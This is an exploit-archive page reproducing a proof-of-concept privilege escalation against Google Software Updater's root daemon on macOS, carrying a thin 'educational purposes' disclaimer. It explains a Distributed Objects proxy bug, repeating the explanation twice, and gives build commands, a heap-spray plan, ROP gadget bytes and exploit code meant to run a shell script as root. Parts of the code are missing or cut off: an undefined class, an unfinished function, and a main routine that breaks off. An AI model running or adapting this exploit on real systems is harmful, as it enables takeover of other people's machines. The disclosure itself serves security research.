Google software updater macos unsafe use of distributed objects privilege escalation Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-03-20 |
Type : local |
Platform : macos
This exploit / vulnerability Google software updater macos unsafe use of distributed objects privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
Distributed Objects are very very hard to safely use across a privileged boundary.
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
In this case I'm targetting the following code in CoreFoundation:
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
build this PoC:
clang -o ks ks.m -framework Foundation -framework CoreFoundation
start lldb waiting for the daemon to start:
sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon"
continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :)
*/
/*
ianbeer
Google software updater LPE on MacOS due to unsafe use of Distributed Objects
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
Distributed Objects are very very hard to safely use across a privileged boundary.
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
In this case I'm targetting the following code in CoreFoundation:
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
build this PoC:
clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation
This PoC exploit will run the shell script /tmp/x.sh as root.
*/
// heap sprap assumption is that this will end up at 0x150505000
/*
heap spray structure:
we need to spray for two values, firstly the bug will sub rsp, CONTROLLED
we want that to put the stack into the spray allocation
+----------------------+
| |
| regular thread stack |
| |
+-- +......................+ <-- base of stack when we use the bug to cause a
| . . massive sub rsp, X to move the stack pointer into the heap spray
| . <many TB of virtual .
| . address space> .
| . .
| | + - - - - - - - + <--^--- 1G heap spray
| | | FAKE_OBJC | | top half is filled with fake objective c class objects
| | | FAKE_OBJC | | bottom half is filled with 0x170707000
| | | FAKE_OBJC | |
| | | ... | | +--- these pointers all hopefully point somewhere into the top half of the heap spray
| | + - - - - - - - + | |
| | | 0x170707000 | <--^-+
| | | 0x170707000 | | +-- this is the first entry in the stack-allocated buffer
| | | 0x170707000 | | | if we override the getObjectsforRange selector of the D.O. so that nothing gets
| | | ... | | | filled in here this will be used uninitialized
| | | 0x170707000 | <--^--+
+-> +-----------------| <--^--- rsp points here after the massive sub.
| | 0x170707000 | | we want rsp to point anywhere in the lower half of the heap spray
| | xxxxxxxxxxx | |
| | xxxxxxxxxxx | |
| | 0x170707000 | |
| +---------------+ <--^--- we send this 1G region as an NSData object
. .
. .
When we get RIP control rdi will point to the bottom of the alloca buffer.
That is, it will point to a qword containing 0x170707070
The gadget below will turn that into RIP control with rdi pointing to the fake objective-c
class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the
second fptr to system and put a 16 byte command at the start of the fake class.
*/
// this is tls_handshake_set_protocol_version_callback in Security.framework:
char* gadget =
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x89\x77\x58" // mov [rdi+58h], esi
"\x48\x8B\x47\x28" // mov rax, [rdi+28h]
"\x48\x8B\x7F\x30" // mov rdi, [rdi+30h]
"\x48\x8B\x40\x30" // mov rax, [rax+30h]
"\x5D" // pop rbp
"\xFF\xE0"; // jmp rax
// heap spray target of 0x170707000
// this will be the page containing the fake objective c object
void* build_upper_heap_spray_page() {
uint64_t spray_target = 0x170707000;
uint64_t target_fptr = gadget_address();
// heap spray target of 0x150505000
// this will be the page containing the pointer to the fake objective c class
void* build_lower_heap_spray_page() {
uint64_t* buf = malloc(PAGE_SIZE);
for (int i = 0; i < PAGE_SIZE/8; i++) {
buf[i] = 0x170707000;
}
return buf;
}
int main() {
id theProxy;
theProxy = [[NSConnection
rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine"
host:nil] retain];
printf("%p\n", theProxy);
FakeCFObject* obj = [[FakeCFObject alloc] init];
NSDictionary* dict = @{@"ActivesInfo": obj};
id retVal = [theProxy claimEngineWithError:nil];
printf("retVal: %p\n", retVal);